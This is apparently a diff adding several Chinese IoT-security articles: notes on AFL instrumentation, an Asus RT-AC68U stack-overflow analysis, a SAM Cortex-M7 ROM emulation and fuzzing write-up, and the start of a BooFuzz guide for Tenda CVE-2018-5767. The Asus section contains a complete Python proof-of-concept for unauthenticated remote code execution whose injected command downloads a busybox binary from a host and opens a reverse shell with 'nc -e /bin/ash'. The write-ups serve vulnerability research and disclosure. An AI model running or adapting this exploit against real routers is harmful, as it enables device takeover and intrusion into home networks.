- loop 第 1000 次执行,恢复执行,清空一些值,然后返回1,执行一次 `fuzzFunc`,然后 `cnt` 减到0,设置指向无关数组,返回0,while循环结束,程序也将执行结束。
|
||||
|
||||
- 此时 fork server 不再收到 `SIGSTOP` 信号,于是 `child_stopped`为0。
|
||||
|
||||
- afl 通知 fork server再进行一次fuzz的时候,由于此时 `child_stopped` 为0,则 fork server 会先 fork 出一个子进程,然后后续过程和之前一样。
|
||||
|
||||
### 3. 'trace-pc-guard' mode
|
||||
|
||||
该模式需要先构建 `afl-clang-fast` 时指定 `AFL_TRACE_PC=1`,在使用 `afl-clang-fast` 时加上 `fsanitize-coverage=trace-pc-guard` 参数来开启该功能。这种模式下的插桩,会在每个 edge 处都进行插桩,而不再是基本块。
|
||||
|
||||
函数 `__sanitizer_cov_trace_pc_guard` 会在每个 edge 处进行调用:
|
||||
|
||||
```c
|
||||
void __sanitizer_cov_trace_pc_guard(uint32_t* guard) {
|
||||
__afl_area_ptr[*guard]++;
|
||||
}
|
||||
```
|
||||
|
||||
利用函数参数 `guard` 指针所指向的 `uint32` 的值来确定共享内存上所对应的地址。该指针的初始化位于 `__sanitizer_cov_trace_pc_guard_init` 函数中:
|
||||
|
||||
```c
|
||||
void __sanitizer_cov_trace_pc_guard_init(uint32_t* start, uint32_t* stop) {
|
||||
|
||||
u32 inst_ratio = 100; // 插桩密度设置为100
|
||||
u8* x;
|
||||
|
||||
if (start == stop || *start) return;
|
||||
|
||||
x = getenv("AFL_INST_RATIO"); // 获取插桩密度环境变量
|
||||
if (x) inst_ratio = atoi(x);
|
||||
|
||||
if (!inst_ratio || inst_ratio > 100) { // 校验密度值
|
||||
fprintf(stderr, "[-] ERROR: Invalid AFL_INST_RATIO (must be 1-100).\n");
|
||||
abort();
|
||||
}
|
||||
|
||||
/* Make sure that the first element in the range is always set - we use that
|
||||
to avoid duplicate calls (which can happen as an artifact of the underlying
|
||||
implementation in LLVM). */
|
||||
|
||||
*(start++) = R(MAP_SIZE - 1) + 1; // 使用随机数进行定位
|
||||
|
||||
while (start < stop) {
|
||||
|
||||
if (R(100) < inst_ratio) *start = R(MAP_SIZE - 1) + 1;
|
||||
else *start = 0;
|
||||
|
||||
start++;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
LLVM 设置 `guard` 的首尾分别为 `start` 和 `stop` ,从第一个 `guard` 开始向后进行遍历,并通过`R(MAP_SIZE)`设置其指向的值。
|
||||
|
||||
# 参考链接
|
||||
|
||||
1. [https://eternalsakura13.com/2020/08/23/afl/#more](https://eternalsakura13.com/2020/08/23/afl/#more)
|
||||
@@ -0,0 +1,264 @@
|
||||
# Asus 路由器栈溢出漏洞分析
|
||||
> ChaMd5
|
||||
> 来源:https://www.iotsec-zone.com/article/118
|
||||
|
||||
0x0 前言
|
||||
------
|
||||
|
||||
我在AC68U RT-AC68U\_3.0.0.4\_384\_45713-g0f2983e.trx固件版本中发现了2个漏洞:
|
||||
|
||||
* **漏洞①:blocking\_request.cgi 高危**
|
||||
|
||||
攻击者可在未登陆验证的情况下进行缓冲区溢出达到任意命令执行效果
|
||||
|
||||
* **漏洞②:blocking.cgi 低危**
|
||||
|
||||
原理同漏洞①但是经测试,无法达到任意命令执行效果,但是攻击后会将设备打崩陷入无限重启
|
||||
|
||||
华硕已经确认了该漏洞,不过该漏洞已经进行了修复,回复如下图:
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
0x1 漏洞影响范围
|
||||
----------
|
||||
|
||||
* AC68U FirmwareVersion < 3.0.0.4.385.20633
|
||||
|
||||
* RT-AC5300 FirmwareVersion <3.0.0.4.384.82072
|
||||
|
||||
. . . . . .
|
||||
|
||||
此漏洞影响很多型号,具体型号暂未统计,官方2020年8-9月份修复的RCE漏洞(如下图)似乎就是这个
|
||||
|
||||

|
||||
|
||||
0x2 前期准备
|
||||
--------
|
||||
|
||||
* 设备:AC68U美版一台(建议买国行的,由于存在CFE限制,刷固件容易出问题)
|
||||
|
||||
* 固件下载:[https://www.asus.com.cn/Networking-IoT-Servers/WiFi-Routers/ASUS-WiFi-Routers/RTAC68U/HelpDesk\_BIOS/](https://www.asus.com.cn/Networking-IoT-Servers/WiFi-Routers/ASUS-WiFi-Routers/RTAC68U/HelpDesk\_BIOS/)
|
||||
|
||||
0x3 漏洞挖掘
|
||||
--------
|
||||
|
||||
asuswrt-merlin/web.c at master · RMerl/asuswrt-merlin (github.com)
|
||||
|
||||
参考梅林固件httpd服务源代码可找到URI处理接口结构体,具体如下
|
||||
|
||||
```c
|
||||
struct mime_handler {
|
||||
char *pattern; //接口名称
|
||||
char *mime_type; //Accept格式
|
||||
char *extra_header; //Cache-Control
|
||||
void (*input)(char *path, FILE *stream, int len, char *boundary);//获取data中内容
|
||||
void (*output)(char *path, FILE *stream); //处理函数
|
||||
void (*auth)(char *userid, char *passwd, char *realm); //校验权限
|
||||
};
|
||||
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
通过相关敏感函数定位到了以下2个URI接口,并且可以得出信息:
|
||||
|
||||
①blocking\_request.cgi 接口处理函数未进行权限校验
|
||||
|
||||
②blocking.cg i接口处理函数会进行权限校验
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
54行构造参数满足条件满足结果为真:
|
||||
|
||||
1. 系统时间戳+3600-timestap参数<20。所以timestap的参数可以通过一次空包返回内容来计算时间戳(注意需要根据设备系统设置时区计算)
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
1. sub\_11840函数执行nvram\_get操作,也就是nvram\_get("MULTIFILTER\_MAC"),默认为空,也就是strstr("",mac参数),所以mac参数必须为空
|
||||
|
||||
跳进if语句后,56行nvram\_get("MULTIFILTER\_TMP\_T")初始值为空所以在if(v11)处会跳转到84行,接着对执行拼接操作,而v4就是mac参数因为需要满足第一个if语句条件无法控制,v5是timestap参数(atol(1639469133aaaaaaa.....)返回的是1639469133),可通过timestap参数进行溢出
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
0x4 漏洞利用
|
||||
--------
|
||||
|
||||
1. 第一次尝试填充4740 \* a,查看栈中数据,还有40个字节需要填充,也就是4840\* a + p32(addr)
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
1. 但是实际测试中会提前崩溃,逐步调试,发现崩溃点位于98行json\_object\_put函数,此函数参数会从栈上取数据,而栈被覆盖了后取的数据导致提前崩溃
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
1. 查看json\_object\_put函数原型,a1就是栈上取的参数,也就是只有当满足条件a1=0 或 \*(a1+12)-- != 1 才能保持正常返回。由于是strcat函数导致溢出,栈中数据出现00会截断。注意下图左边汇编代码,LDR是取内容,--后比较完后会通过STR指令将内容写回原地址,所以该地址必须满足条件:可读、可写、无00
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
1. 寻找合适地址
|
||||
|
||||
* 查看区段信息,未发现所需地址
|
||||
|
||||
* 查看lib库,开启了PIE,无法利用 (碰撞libc地址概率太低不进行尝试了)
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
1. 所以溢出覆盖到返回地址的路是走不通的,但是注意看该函数内竟然有一个函数指针,而a1的值是可控的,也就是不用覆盖到返回地址也可以劫持PC
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
1. 观察bss段数据 发现CName、mac、interval、timestap内容都存在bss段,且bss段可读可写。
|
||||
|
||||
构造结构如下图,且运行到json\_object\_put函数内,准备跳转前,发现R10的内容保存的是CName参数内容。
|
||||
|
||||
注:方式不唯一,自己构造即可
|
||||
|
||||
```bash
|
||||
#cmd:需要执行的命令
|
||||
#timeStapStr:计算好的时间戳
|
||||
#addr:interval参数内容首地址,需要根据cmd命令的长度进行调整
|
||||
'CName': cmd,
|
||||
'mac': '',
|
||||
'interval': 'a'*12+p32(1)+'a'*16+p32(0x0000EFA8),
|
||||
'timestap': timeStapStr +'a'*4740+p32(addr)
|
||||
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
0x5 POC
|
||||
-------
|
||||
|
||||
POC需要根据不同版本调整
|
||||
|
||||
以下是针对3.0.0.4.384.45713固件版本的POC,这里放出一个不会根据执行命令进行自行调整的poc
|
||||
|
||||
```python
|
||||
#coding=utf-8
|
||||
from pwn import *
|
||||
import re
|
||||
import time
|
||||
import requests
|
||||
import urlparse
|
||||
import urllib3
|
||||
urllib3.disable_warnings()
|
||||
import sys
|
||||
|
||||
def rematch(strTmp):
|
||||
tm_year = strTmp[0][2]
|
||||
tm_month = strTmp[0][1]
|
||||
tm_day = strTmp[0][0]
|
||||
tm_hour = strTmp[0][3]
|
||||
tm_min = strTmp[0][4]
|
||||
tm_sec = strTmp[0][5]
|
||||
if tm_month == 'Jan':
|
||||
tm_month = '01'
|
||||
if tm_month == 'Feb':
|
||||
tm_month = '02'
|
||||
if tm_month == 'Mar':
|
||||
tm_month = '03'
|
||||
if tm_month == 'Apr ':
|
||||
tm_month = '04'
|
||||
if tm_month == 'May':
|
||||
tm_month = '05'
|
||||
if tm_month == 'Jun':
|
||||
tm_month = '06'
|
||||
if tm_month == 'Jul':
|
||||
tm_month = '07'
|
||||
if tm_month == 'Aug':
|
||||
tm_month = '08'
|
||||
if tm_month == 'Sept':
|
||||
tm_month = '09'
|
||||
if tm_month == 'Oct':
|
||||
tm_month = '10'
|
||||
if tm_month == 'Nov':
|
||||
tm_month = '11'
|
||||
if tm_month == 'Dec':
|
||||
tm_month = '12'
|
||||
tm_hour = int(tm_hour) + 8
|
||||
time_tmp = '{}-{}-{} {}:{}:{}'.format(tm_year, tm_month, tm_day, tm_hour, tm_min, tm_sec)
|
||||
print(time_tmp)
|
||||
ts = time.strptime(time_tmp, "%Y-%m-%d %H:%M:%S")
|
||||
timeStamp= int(time.mktime(ts))
|
||||
return timeStamp
|
||||
|
||||
def getTime(url):
|
||||
scheme = urlparse.urlparse(url).scheme
|
||||
hostname = urlparse.urlparse(url).hostname
|
||||
header={
|
||||
'Host': hostname,
|
||||
'Cache-Control': 'max-age=0',
|
||||
'Upgrade-Insecure-Requests': '1',
|
||||
'Origin': scheme+'://'+hostname,
|
||||
'Content-Type': 'application/x-www-form-urlencoded',
|
||||
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36',
|
||||
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
|
||||
'Referer': scheme+'://'+hostname,
|
||||
'Accept-Encoding': 'gzip, deflate',
|
||||
'Accept-Language': 'zh-CN,zh;q=0.9',
|
||||
'Connection':'close'
|
||||
}
|
||||
data1 ={
|
||||
'CName': '',
|
||||
'mac': '',
|
||||
'interval': '',
|
||||
'timestap': '',
|
||||
}
|
||||
url = url+'/blocking_request.cgi'
|
||||
ret = requests.post(url = url ,
|
||||
headers = header,
|
||||
data = data1,
|
||||
verify=False)
|
||||
format_time =''
|
||||
for key, value in (ret.headers).items():
|
||||
if 'Date' in key:
|
||||
format_time = value
|
||||
tmp = re.findall(r', (.*?) (.*?) (.*?) (.*?):(.*?):(.*?) GMT',format_time)
|
||||
timeStap = rematch(tmp) + 3600
|
||||
timeStapStr = str(timeStap)
|
||||
print(timeStapStr)
|
||||
data2 ={
|
||||
'CName': 'cd /tmp/home/root;wget http://192.168.2.177:8080/busybox-armv6l;chmod 777 *;./busybox-armv6l nc 192.168.2.177:1234 -e /bin/ash',
|
||||
'mac': '',
|
||||
'interval': 'a'*12+p32(1)+'a'*16+p32(0x0000EFA8),
|
||||
'timestap': timeStapStr +'a'*4740+p32(0x0006FE35), #p32(0x0006FE35) 此addr为interval参数内容首地址
|
||||
|
||||
}
|
||||
ret = requests.post(url = url ,
|
||||
headers = header,
|
||||
data = data2,
|
||||
verify=False,)
|
||||
print('End')
|
||||
|
||||
if __name__ == '__main__':
|
||||
url = sys.argv[1]
|
||||
getTime(url)
|
||||
```
|
||||
|
||||
0x6 漏洞演示
|
||||
--------
|
||||
[演示视频](http://mpvideo.qpic.cn/0bc35madcaaaf4anfdzxbbrfb26dghvqamia.f10002.mp4?dis_k=82b9820134904ace60c1a4e26904a400&dis_t=1648013216&vid=wxv_2319243509460942851&format_id=10002&support_redirect=0&mmversion=false "演示视频")
|
||||

|
||||
|
||||
@@ -0,0 +1,203 @@
|
||||
# Atmel SAM Cortex-M7 MCU rom 分析,逆向工程,仿真和模糊化
|
||||
> heiyu
|
||||
> 来源:https://www.iotsec-zone.com/article/467
|
||||
|
||||
在我的空闲时间,我喜欢探索和分析嵌入式设备,以了解它们的只读存储器是如何工作的。最近,我专注于一款时钟速度为 300MHz 的 Cortex-M7 MCU,具体是(之前的 Atmel)SAM MCU 系列。这些文档完备的 MCU 提供了各种功能,从通用功能到安全功能。然而,当涉及到“安全位保护”功能时,我发现文档不够详细,因此我决定深入研究并为他人记录我的发现。
|
||||
|
||||
SAM MCU 的工作原理
|
||||
|
||||
SAM E70/S70/V70/V71 系列嵌入了用于 SAM Boot Assistant(SAM-BA)的内部 ROM,始终映射到地址 0x0080 0000。用于用户应用程序的内部 Flash 映射到地址 0x0040 0000。在 SAM MCU 上有增强型嵌入式 Flash 控制器(EEFC),其中包括许多内容之一是通用 NVM位(GPNVM)。MCU 使用 GPNVM 位[1]来确定是否运行 ROM(SAM-BA)还是用户应用程序,通过将其内容映射到地址 0x0000 0000。
|
||||
|
||||
那么..
|
||||
|
||||
- **SAM-BA**: 由 SAM 产品使用的引导加载程序协议,记录在“SAM-BA Boot Program”中。
|
||||
- **GPNVM**: SAM E70/S70/V70/V71 设备具有九个通用 NVM (GPNVM) 位,可以通过特定的 EEFC 命令设置或清除。位 1 决定 MCU 在启动时运行 ROM 代码 (0x00800000) 还是用户应用程序 (0x00400000)。GPNVM 位是 EEFC 的一部分,如“增强嵌入式闪存控制器 (EEFC)”章节所述。
|
||||
|
||||

|
||||
安全位功能
|
||||
|
||||
SAM E70/S70/V70/V71 系列具有基于 GPNVM 位 0 的安全位。启用时,此位通过 SW-DP、ETM 和快速闪存编程等接口阻止对 Flash、SRAM、核心寄存器和内部外设的任何访问。这确保了 Flash 中代码的保密性。禁用安全位需要断言 ERASE 引脚并执行完整的 Flash 擦除。
|
||||
|
||||
擦除密码
|
||||
|
||||

|
||||
|
||||
换句话说,GPNVM 位不是一个熔断配置,设置安全位后重新使用 MCU 的唯一方法是通过硬件执行完全擦除,或者在您的应用程序中实现软件触发器,如Part1中所述。
|
||||
|
||||
好的.... 让我们去看看它的 Flash 控制器(EEFC)!
|
||||
|
||||
增强型嵌入式闪存控制器(EEFC)
|
||||
|
||||
增强嵌入式闪存控制器(EEFC)提供 Flash 块与 32 位内部总线的接口。它在数据表中有记录,但为了更简单,让我们假设我们想要在地址 0x0040 0000 更新用户应用程序内容,序列将是:
|
||||
|
||||

|
||||
|
||||
1. 将内容写入文档地址(0x0040 0000)
|
||||
2. 请求 EEFC 更新用户应用程序
|
||||
3. \4. EEFC 从映射内存中读取内容并将其存储到内部 Flash 地址。(EEFC 知道的地址)
|
||||
|
||||
并且如果我们想要阅读用户应用程序:
|
||||
|
||||

|
||||
|
||||
1. 请求 EEFC 映射用户应用程序
|
||||
2. EEFC 将从未知地址(仅 EEFC 知道的地址)读取用户应用程序
|
||||
3. 将数据映射到 0x0040 0000
|
||||
4. CPU 可以访问用户应用程序
|
||||
|
||||
对于其他情况也是一样,比如从[QSPI]中读写数据,它是一个独立的外设,读取唯一标识符..
|
||||
|
||||

|
||||
|
||||
1. CPU 使用 EEFC 命令请求数据
|
||||
2. EEFC 将从页面读取数据
|
||||
3. EEFC 命令将其映射到已知地址
|
||||
4. CPU 可以访问这些数据
|
||||
|
||||
现在我们更好地了解了 SAM 将如何在地址 0x0000 0000 开始其应用程序,它看起来是这样的:
|
||||
|
||||

|
||||
|
||||
在通电后,通常会加载并执行 BootROM 代码以执行下一步操作,不确定其详细信息,因此我将其标记为黑匣子。
|
||||
|
||||
- 用户配置包括 GPNVM 位。
|
||||
|
||||
足够的内省,让我们开始吧。
|
||||
|
||||
SAM 内存映射:
|
||||
|
||||

|
||||
|
||||
理解 SAMx7x 的内存映射至关重要。ROM 代码位于地址 0x00800000 处,具有用于 EEFC 的外围控制器映射到地址 0x400E0C00。每个外围设备都有一个起始地址和中断 ID。
|
||||
|
||||
转储 ROM 代码(SAM-BA-)
|
||||
|
||||

|
||||
|
||||
这是我们用来转储 ROM 代码的设置,起初我们遇到了关于转储 ROM 代码的问题,因为对错误的内存区域的任何访问都会导致 SAM 崩溃并卡在虚拟处理程序中,每当我们尝试转储 0x00800000 以获取大小> 0x4000 时,它都会崩溃,我们是如何知道的 —> 我们编写了一个简单的代码,访问从 0x0080 0000 开始的内存并打印其地址:内容,并看到最后一个被访问的地址。
|
||||
|
||||
所以我们只转储了前 0x4000(16KB),结果发现其中包含了 SAM 重复的 ROM 代码-content(0x0<->0x2000)=content(0x2000<->0x4000)-…也许是为了备用。
|
||||
|
||||
为了转储 ROM 代码,我们使用了 JLINK 并执行了命令
|
||||
|
||||
```
|
||||
1. SaveBin ROM.bin 0x00800000 0x4000
|
||||
```
|
||||
|
||||
反转 ROM 代码
|
||||
|
||||
我们寻找了有关安全位或 JTAG 锁定的参考资料。我们只找到了 SAM-BA 协议的实现。
|
||||
|
||||
这是 ROM 代码的向量表。
|
||||
|
||||

|
||||
|
||||
这是 ROM 代码的主要功能,我们只发现了 SAM-BA 协议的实现,如下截图所示。因此,读取安全位并做出关于 JTAG 锁定的决定似乎与内存映射中的 ROM 部分无关。
|
||||
|
||||

|
||||
|
||||
这是数据表中提到的 SAM-BA 命令
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
等一下...这不好玩,让我们完全模拟它的原因如下:
|
||||
|
||||
- 用 Python 编写
|
||||
- 支持 STM MCU(cortex-M3/M4)
|
||||
- 集成 AFL/gdb 调试器/IDA 插件/..
|
||||
- 在 Telegram 频道上活跃
|
||||
|
||||
其他功能可以在他们的 github (https://github.com/qilingframework/qiling) 上找到,不幸的是,没有完美的东西... 他们对 MCU 部分没有任何文档 :|,但它是用 Python 编写的,所以我们可以阅读源代码来理解它。
|
||||
|
||||
模拟 ROM 代码
|
||||
方法:
|
||||
|
||||
```
|
||||
1- 模仿简单示例 —> (入门) ,具有最小功能,例如通过 UART1/USART1 发送消息的循环(ex1)
|
||||
2- 模拟 UART0 回环示例(发送到 UART0 / 从 UART0 接收)(ex2)
|
||||
3- 模拟 ROM(只读存储器)
|
||||
```
|
||||
ROM 代码将使用 UART0 作为接口:
|
||||
|
||||

|
||||
|
||||
让我们说它并不简单...调试和追踪事物,以位级别调试寄存器,找到并连接 ASF 延迟函数以模拟延迟操作..
|
||||
|
||||
长话短说,我们成功地完全模拟了它,并创建了一个魔法补丁 ! ,以添加所有需要执行此操作的文件。
|
||||
* 您需要安装 Qiling 要求和 afl-fuzz (https://aflplus.plus/)
|
||||
|
||||
补丁文件: [https://github.com/0xB4x/SAME70Emulator](https://github.com/0xB4x/SAME70Emulator)
|
||||
|
||||
模仿示例 1
|
||||
|
||||

|
||||
|
||||
ROM 仿真提示:
|
||||
|
||||
- SAM 模拟器将默认能够直接与 UART0 在终端模式下通信,或者您可以切换到正常模式
|
||||
|
||||

|
||||
- 在命令行中添加 **[-s]** 将使用来自(https://github.com/abcminiuser/sam-ba-loader)的 SAM-BA 客户端工具,我已经集成到仿真器中以便使用。
|
||||
- 我实现 EFC,因为有一个目录模仿存储在` [PYTHON_PATH]/site-packages/qiling/hw/flash/same70_efc_content/`中的 SAM 存储,目前我只添加了 2 个文件
|
||||
- **GPNVM.storage** —> 包含 GPNVM 的 9 位
|
||||
- **UID.storage** —> 包含唯一 SN
|
||||
|
||||

|
||||
|
||||
有许多 EFC 命令:
|
||||
|
||||

|
||||
|
||||
我已经实现了使 ROM 代码正常工作的内容,下面的截图显示了您可以修改实现的位置。
|
||||
|
||||

|
||||
|
||||
**SAM-BA 客户端的屏幕截图:**
|
||||
|
||||
- 获取模拟 ROM 代码的版本
|
||||
|
||||

|
||||
|
||||
- 读取 GPNVM 命令
|
||||
|
||||

|
||||
|
||||
- 信息命令
|
||||
|
||||

|
||||
使用终端模式的屏幕截图:
|
||||
|
||||

|
||||
|
||||
- 阅读 ROM 版本
|
||||
|
||||

|
||||
|
||||
- 阅读地址 0x800000 处的第一个单词
|
||||
|
||||

|
||||
|
||||
# 模糊测试
|
||||
### 步骤:
|
||||
|
||||
```
|
||||
1. 1- cd qiling/examples/fuzzing/same70
|
||||
2. 2- 在运行 bsah fuzz.sh 之前(打开 fuzz.sh 并将 **python** 路径更改为具有 Qiling 的路径)
|
||||
3. 3- bsah fuzz.sh
|
||||
```
|
||||
我们发现,在 Linux 虚拟机上,模糊测试过程比 macOS 快得多。
|
||||
- Macos
|
||||
|
||||

|
||||
|
||||
- Linux 虚拟机
|
||||
|
||||

|
||||
|
||||
# 结论
|
||||
通过这次探索,我对 SAM MCU 的安全功能和模拟 ROM 代码的复杂性有了更深入的了解。虽然 Atmel 提供的文档很详尽,但像安全位保护这样的领域需要更多的实地调查。尽管 Qiling 项目最初缺乏文档,但证明是一个有价值的工具,用于模拟和理解 MCU 的行为。这段旅程不仅增加了我的知识,还突显了在嵌入式系统开发中实际实验的重要性。
|
||||
随意调整任何部分,以更好地匹配您的风格,或添加您认为重要的任何特定细节。
|
||||
|
||||
声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与技术交流之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
|
||||
@@ -0,0 +1,555 @@
|
||||
# BooFuzz的简单使用,以CVE-2018-5767为例
|
||||
> 0431物联卫士实验室
|
||||
> 来源:https://www.iotsec-zone.com/article/168
|
||||
|
||||
本篇文章的导向在于分析Tenda AC15固件中所存在的缓冲区溢出,并尝试结合boofuzz对漏洞点进行简单的探索,对boofuzz原理感兴趣的现在可以关闭这个网页了。
|
||||
# 1、环境搭建
|
||||
boofuzz项目地址:[https://github.com/jtpereyda/boofuzz](https://github.com/jtpereyda/boofuzz)
|
||||
这里我选择将boofuzz安装到python的虚拟环境中:
|
||||
```c
|
||||
$ sudo apt install python3-dev libffi-dev build-essential virtualenvwrapper
|
||||
$ export WORKON_HOME=$HOME/Python-workhome
|
||||
$ source /usr/share/virtualenvwrapper/virtualenvwrapper.sh
|
||||
$ mkvirtualenv --python=$(which python3) boofuzz && pip install boofuzz
|
||||
# 新建终端后需要执行如下两条命令启动虚拟环境,方便起见可以将它们追加到~/.bashrc中
|
||||
【1】$ export WORKON_HOME=$HOME/Python-workhome
|
||||
【2】$ source /usr/share/virtualenvwrapper/virtualenvwrapper.sh
|
||||
$ workon boofuzz【进入虚拟环境】
|
||||
```
|
||||

|
||||
安装的boofuzz版本为0.4.1。然后拉取我修改后的仿真docker环境:docker pull ccr.ccs.tencentyun.com/cyberangel-public/iot-emu:tenda_ac15_cve-2018-5767。
|
||||
趁着拉取docker的时间,为了避免一些错误,使用源码编译的方式安装binwalk而非apt install:
|
||||
```c
|
||||
https://github.com/ReFirmLabs/binwalk
|
||||
sudo ./deps.sh # 在ubuntu下仅需执行该命令即可,详见 https://github.com/ReFirmLabs/binwalk/blob/master/INSTALL.md
|
||||
# 检查依赖的安装
|
||||
sudo python3 ./setup.py install
|
||||
```
|
||||
# 2、分析固件(qemu-user)
|
||||
该路由器的固件可以在文章开头的附件中下载。
|
||||
使用binwalk对固件进行解压binwalk -e US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin:
|
||||

|
||||
squashfs-root文件夹是该路由器的文件系统,使用qemu-arm-static尝试启动bin下的httpd:
|
||||
```c
|
||||
$ cp $(which qemu-arm-static) ./
|
||||
$ sudo chroot . ./qemu-arm-static ./bin/httpd【等价于: $ sudo chroot . ./qemu-arm-static ./bin/sh && ./bin/httpd 】
|
||||
$ sudo chroot . ./qemu-arm-static -g 1234 ./bin/httpd # gdb调试
|
||||
```
|
||||
可以发现启动httpd时卡住了:
|
||||

|
||||
拖入到IDA对Welcome to ...交叉引用,来到main:
|
||||

|
||||
笔者注:根据该文件有“2.1.8”和websSecurityHandler等字样可以确定是goahead,根据该版本的源码的函数逻辑与框架能部分恢复一些符号:[https://github.com/embedthis/goahead/releases/tag/v2.1.8](https://github.com/embedthis/goahead/releases/tag/v2.1.8)
|
||||

|
||||
路由器厂商会在goahead原版基础上修改和添加一些功能,所以只能“部分恢复”一些符号与结构体,但是这也足够帮助我们分析了。
|
||||
有两处地方值得注意:
|
||||

|
||||
1.check_network是导致死循环的原因。
|
||||
2.需要让ConnectCfm的返回值为true,进入if语句内部。
|
||||
别想太复杂,我们先不去深究两个函数的具体实现,只需要对这两个分支跳转进行patch即可,第一处:
|
||||

|
||||
第二处:
|
||||

|
||||
patch后回到伪代码:
|
||||

|
||||
将修改后的可执行文件保存导出:
|
||||

|
||||
再次尝试运行sudo chroot . ./qemu-arm-static ./bin/httpd_patch:
|
||||

|
||||
有一些报错,无伤大雅,但最重要的是最后的ip地址不正常:
|
||||

|
||||
回到IDA中,找到"httpd listen"的调用位置:
|
||||

|
||||
qemu-gdb确定函数调用链:
|
||||
```c
|
||||
$ sudo chroot . ./qemu-arm-static -g 1234 ./bin/httpd_patch
|
||||
# 另起终端
|
||||
$ s
|
||||
$ set architecture arm
|
||||
$ b *0x1A36C
|
||||
$ target remote :1234
|
||||
```
|
||||

|
||||
可以确定的是sub_28338调用了sub_1A36C:
|
||||
```c
|
||||
.text:000283DC E2 C7 FF EB BL sub_1A36C # call sub_1A36C
|
||||
.text:000283DC
|
||||
.text:000283E0 00 20 A0 E1 MOV R2, R0 # return_addr
|
||||
```
|
||||

|
||||
直接在IDA对sub_28338交叉引用,根据字符串可知此流程由tcp_timestamps函数调用:
|
||||

|
||||

|
||||
结合IDA分析并重复上面步骤,得到函数完整调用链:main -> initWebs -> tcp_timestamps -> sub_28338 -> sub_1A36C -> printf(Error Msg)。下面对printf的ip参数跟踪:
|
||||

|
||||
顺着调用链来到:
|
||||

|
||||
ip来自全局变量g_lan_ip,最后追踪到:
|
||||

|
||||
getIfIp函数的返回为-1,正常流程应该进入与外层的if对应的else分支。所以之前的初始化步骤全部都有问题,因为strcmpRet关联着很多函数:
|
||||

|
||||
关联最多的为GetValue函数,它被定义在动态链接库libCfm.so中:
|
||||

|
||||
这个函数与socket有关,如果要分析的话代码量太大,所以我们先从main函数开头的几个函数下手。注意到与网络有关的函数check_network,它的本体存在于libcommon.so中:
|
||||

|
||||
其中,a1是传入的buffer2(memset(buffer2, 0, sizeof(buffer2));),逐步进入函数j_getLanIfName() -> getLanIfName() -> get_eth_name(0)查看:
|
||||

|
||||
在libChipApi.so可以找到该函数的定义:
|
||||

|
||||
所以需要自己我们新建一个虚拟网桥(Virtual Bridge)br0:
|
||||
```c
|
||||
$ sudo brctl addbr br0
|
||||
$ sudo ifconfig br0 192.168.2.3/24
|
||||
|
||||
```
|
||||
尝试重新启动:
|
||||

|
||||
再次进行访问:
|
||||

|
||||
能访问了但不能完全访问,根据./etc_ro/rcS:
|
||||

|
||||
我们也这样操作一下cp -rf ./webroot_ro/* ./webroot/,然后刷新一下就正常了:
|
||||

|
||||
httpd的文件保护如下:
|
||||

|
||||
CVE-2018-5767的漏洞点在httpd的厂商自己实现的R7WebsSecurityHandler函数中,如下图所示:
|
||||

|
||||
经IDA交叉引用发现固件没有调用goahead自带的websSecurityHandler而是调用了R7WebsSecurityHandler,但不必担心,后者是基于前者实现的。
|
||||
IDA识别a1出来的是int型,但实际上是webs_t类型的结构体:
|
||||

|
||||
```c
|
||||
// webs.h
|
||||
【1】
|
||||
typedef struct websRec {
|
||||
ringq_t header; /* Header dynamic string */
|
||||
time_t since; /* Parsed if-modified-since time */
|
||||
sym_fd_t cgiVars; /* CGI standard variables */
|
||||
sym_fd_t cgiQuery; /* CGI decoded query string */
|
||||
time_t timestamp; /* Last transaction with browser */
|
||||
int timeout; /* Timeout handle */
|
||||
char_t ipaddr[32]; /* Connecting ipaddress */
|
||||
char_t type[64]; /* Mime type */
|
||||
char_t *dir; /* Directory containing the page */
|
||||
char_t *path; /* Path name without query */
|
||||
char_t *url; /* Full request url */
|
||||
char_t *host; /* Requested host */
|
||||
char_t *lpath; /* Cache local path name */
|
||||
char_t *query; /* Request query */
|
||||
char_t *decodedQuery; /* Decoded request query */
|
||||
char_t *authType; /* Authorization type (Basic/DAA) */
|
||||
char_t *password; /* Authorization password */
|
||||
char_t *userName; /* Authorization username */
|
||||
char_t *cookie; /* Cookie string */
|
||||
char_t *userAgent; /* User agent (browser) */
|
||||
char_t *protocol; /* Protocol (normally HTTP) */
|
||||
char_t *protoVersion; /* Protocol version */
|
||||
int sid; /* Socket id (handler) */
|
||||
int listenSid; /* Listen Socket id */
|
||||
int port; /* Request port number */
|
||||
int state; /* Current state */
|
||||
int flags; /* Current flags -- see above */
|
||||
int code; /* Request result code */
|
||||
int clen; /* Content length */
|
||||
int wid; /* Index into webs */
|
||||
char_t *cgiStdin; /* filename for CGI stdin */
|
||||
int docfd; /* Document file descriptor */
|
||||
int numbytes; /* Bytes to transfer to browser */
|
||||
int written; /* Bytes actually transferred */
|
||||
void (*writeSocket)(struct websRec *wp);
|
||||
#ifdef DIGEST_ACCESS_SUPPORT
|
||||
char_t *realm; /* usually the same as "host" from websRec */
|
||||
char_t *nonce; /* opaque-to-client string sent by server */
|
||||
char_t *digest; /* digest form of user password */
|
||||
char_t *uri; /* URI found in DAA header */
|
||||
char_t *opaque; /* opaque value passed from server */
|
||||
char_t *nc; /* nonce count */
|
||||
char_t *cnonce; /* check nonce */
|
||||
char_t *qop; /* quality operator */
